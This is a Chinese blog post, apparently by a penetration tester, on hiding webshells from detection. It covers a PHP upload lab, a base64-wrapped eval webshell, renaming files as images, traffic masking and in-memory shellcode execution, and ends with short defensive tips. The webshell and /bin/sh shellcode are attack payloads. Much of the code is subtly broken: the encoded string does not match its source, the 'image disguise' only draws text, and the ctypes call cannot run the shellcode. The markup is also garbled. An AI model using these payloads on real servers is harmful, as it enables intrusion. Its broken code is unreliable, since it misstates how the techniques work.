0x01 渗透行动回忆

有一次,我受邀参与一个企业的授权渗透测试任务。这家公司部署了一个复杂的Web应用程序,负责管理内部的财务和人事信息。我的目标是评估应用程序的安全性,特别是测试能否在不被检测到的情况下上传并运行Webshell。

在整个渗透测试过程中,我发现这个Web应用具有上传文件的功能。初步的测试结果表明,上传的文件会被严格过滤,这是为了防止恶意代码进入服务器。然而,我知道,只要有上传功能,就有可能绕过这些限制,把自己的代码“伪装”成合法文件,在服务器上运行。

0x02 实战环境的搭建

黑客示意图

为了在测试过程中获得真实的反馈,我搭建了一个与目标类似的环境。使用了Apache服务器,并配置了类似的上传路径和权限,模拟了目标应用对文件的处理逻辑。

步骤如下:

  1. 安装Apache服务器
  • 使用以下命令安装Apache:
  • <pre><code class="language-bash"> sudo apt-get update sudo apt-get install apache2 `

  • 确认Apache服务运行:
  • `bash sudo systemctl start apache2 sudo systemctl enable apache2 `

  1. 配置上传目录
  • 创建目录并设置权限:
  • `bash mkdir /var/www/html/uploads chmod 755 /var/www/html/uploads `

  1. 模拟上传功能
  • 创建简单的文件上传PHP脚本:
  • `php &lt;?php if ($_FILES[&#039;fileToUpload&#039;][&#039;error&#039;] == UPLOAD_ERR_OK &amp;&amp; is_uploaded_file($_FILES[&#039;fileToUpload&#039;][&#039;tmp_name&#039;])) { move_uploaded_file($_FILES[&#039;fileToUpload&#039;][&#039;tmp_name&#039;], &#039;/var/www/html/uploads/&#039; . basename($_FILES[&#039;fileToUpload&#039;][&#039;name&#039;])); echo &quot;Upload successful!&quot;; } else { echo &quot;Upload failed!&quot;; } ?&gt; `

这个实验环境帮助我验证不同的Webshell上传策略,找出绕过目标应用检测的方法。

黑客示意图

0x03 Webshell免杀策略的艺术

在我的实战经验中,一个有效的Webshell免杀策略,离不开以下几个关键步骤:

1. 变形加密

为了绕过应用程序的检测机制,我通常会选择对Webshell代码进行变形或加密。变形可以通过改变变量名、函数名实现,加密则可以通过base64编码等方式。

Python代码示例

</code></pre>python import base64

原始Webshell代码

webshell = "<?php echo whoami; ?>"

使用base64加密

encoded_shell = base64.b64encode(webshell.encode('utf-8')) print(encoded_shell.decode('utf-8')) <pre><code> 在服务器端,这段加密后的代码能被解码并执行: </code></pre>php <?php $encoded = "PD9waHAgZWNobyBgd2hvYW1pYWA7ID8+"; eval(base64_decode($encoded)); ?> <pre><code>

2. 文件伪装

多数防御机制会阻止特定类型文件的上传,比如.php.jsp等。因此,把Webshell伪装成合法的文件格式,如图像或文档格式,可能绕过检测。

Bash代码示例

</code></pre>bash

使用ImageMagick伪装为图片

convert -size 100x100 xc:white -gravity center -pointsize 20 -draw 'text 0,0 "Webshell"' webshell.png

在上传时,将文件名改成合法的.jpg格式

mv webshell.png webshell.jpg <pre><code> 这种方式能有效绕过简单的文件类型验证。

0x04 痕迹隐藏与免杀技巧

在一个成功的渗透测试过程中,隐藏痕迹显得尤为重要。为了不被防御系统检测到,我会使用一些流量伪装和内存加载技术。

流量伪装

使用HTTPS或自定义协议掩盖流量,减少被入侵检测系统(IDS)或防火墙识别的风险。

Bash代码示例

</code></pre>bash

使用openssl创建HTTPS连接

openssl s_client -connect target.com:443 <pre><code>

内存加载技术

不在磁盘上留下任何文件,直接将代码加载到内存中执行。这样可以极大降低被发现的几率。

Python代码示例

</code></pre>python import ctypes, sys

Webshell代码

shellcode = b"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80"

加载到内存并执行

ctypes.cdll.LoadLibrary(None).syscall(0x80, shellcode) `

这段代码展示了如何在内存中加载并运行Shellcode。

0x05 如何发现并防御

尽管Webshell免杀技术复杂多变,但在实战中防御也有策略。以下是一些个人建议:

1. 加强文件上传验证

不仅仅是验证文件的后缀,还可以检测文件内容,是否存在可疑的代码片段。

2. 实时监控流量异常

黑客示意图

利用现代化的IDS和IPS系统,实时监控流量,识别异常行为。

3. 内存分析和取证

借助工具对服务器内存进行定期分析,发现可疑的内存加载行为。

0x06 个人心得与分享

作为渗透测试人员,我在实战中体会到,技术是不断变化的,免杀策略没有固定的套路,唯有灵活应对。每次任务都会遇到新的挑战,也带来新的灵感。

在Webshell免杀领域,我的经验是要不断学习新的绕过技巧,同时也要关注防御技术的进步。总之,在实战中,任何细节都可能影响成败。

这次渗透测试不仅让我了解了企业的安全架构,也让我意识到自己的技术短板。希望大家能从我的分享中获得启发,在自己的安全研究中不断突破。